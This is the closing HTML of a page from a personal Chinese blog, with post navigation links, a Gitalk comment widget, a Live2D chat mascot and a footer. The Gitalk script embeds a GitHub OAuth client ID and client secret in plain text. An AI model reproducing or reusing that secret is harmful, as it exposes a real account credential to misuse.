<span class="prev">
|
||
<a href="/2021/08/06/pcb.html">
|
||
上一篇：最近打电路板的体验
|
||
</a>
|
||
</span>
|
||
|
||
<br />
|
||
|
||
<span class="next">
|
||
<a href="/2021/09/06/offlinectf.html">
|
||
下一篇：记一次线下的信息安全比赛
|
||
</a>
|
||
</span>
|
||
|
||
</div>
|
||
|
||
<!--[if !IE]> -->
|
||
<link rel="stylesheet" href="/assets/css/gitalk.css">
|
||
<script src="/assets/js/gitalk.min.js"></script>
|
||
|
||
<div id="gitalk-container"></div>
|
||
|
||
<script>
|
||
var gitalk = new Gitalk({
|
||
clientID: '36557aec4c3cb04f7ac6',
|
||
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
|
||
repo: 'mabbs.github.io',
|
||
owner: 'Mabbs',
|
||
admin: ['Mabbs'],
|
||
id: '/2021/08/15/blog', // Ensure uniqueness and length less than 50
|
||
distractionFreeMode: false, // Facebook-like distraction free mode
|
||
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
|
||
})
|
||
gitalk.render('gitalk-container')
|
||
</script>
|
||
<!-- <![endif]-->
|
||
|
||
</section>
|
||
<!--[if !IE]> -->
|
||
<div id="landlord" style="left:5px;bottom:0px;">
|
||
<div class="message" style="opacity:0"></div>
|
||
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
|
||
<div class="live_talk_input_body">
|
||
<form id="live_talk_input_form">
|
||
<div class="live_talk_input_name_body" >
|
||
<input type="checkbox" id="load_this" />
|
||
<input type="hidden" id="post_id" value="/2021/08/15/blog.html" />
|
||
<label for="load_this">
|
||
<span style="font-size: 11px; color: #fff;"> 想问这篇文章</span>
|
||
</label>
|
||
</div>
|
||
<div class="live_talk_input_text_body">
|
||
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀？" />
|
||
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
<input name="live_talk" id="live_talk" value="1" type="hidden" />
|
||
<div class="live_ico_box" style="display:none;">
|
||
<div class="live_ico_item type_info" id="showInfoBtn"></div>
|
||
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
|
||
<div class="live_ico_item type_music" id="musicButton"></div>
|
||
<div class="live_ico_item type_youdu" id="youduButton"></div>
|
||
<div class="live_ico_item type_quit" id="hideButton"></div>
|
||
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
|
||
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
|
||
<input id="duType" value="douqilai" type="hidden" />
|
||
</div>
|
||
</div>
|
||
<div id="open_live2d">召唤伊斯特瓦尔</div>
|
||
<!-- <![endif]-->
|
||
<footer>
|
||
<p>
|
||
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-01 00:00:18<br /> 总字数：614622 - 文章数：178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
|
||
</p>
|
||
</footer>
|
||
</div>
|
||
<script src="/assets/js/scale.fix.js"></script>
|
||
<!--[if !IE]> -->
|
||
<script src="/assets/js/main_new.js"></script>
|
||
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
|
||
<script src="/Live2dHistoire/live2d/js/message.js"></script>
|
||
<!-- <![endif]-->
|
||
</body>
|
||
</html>
|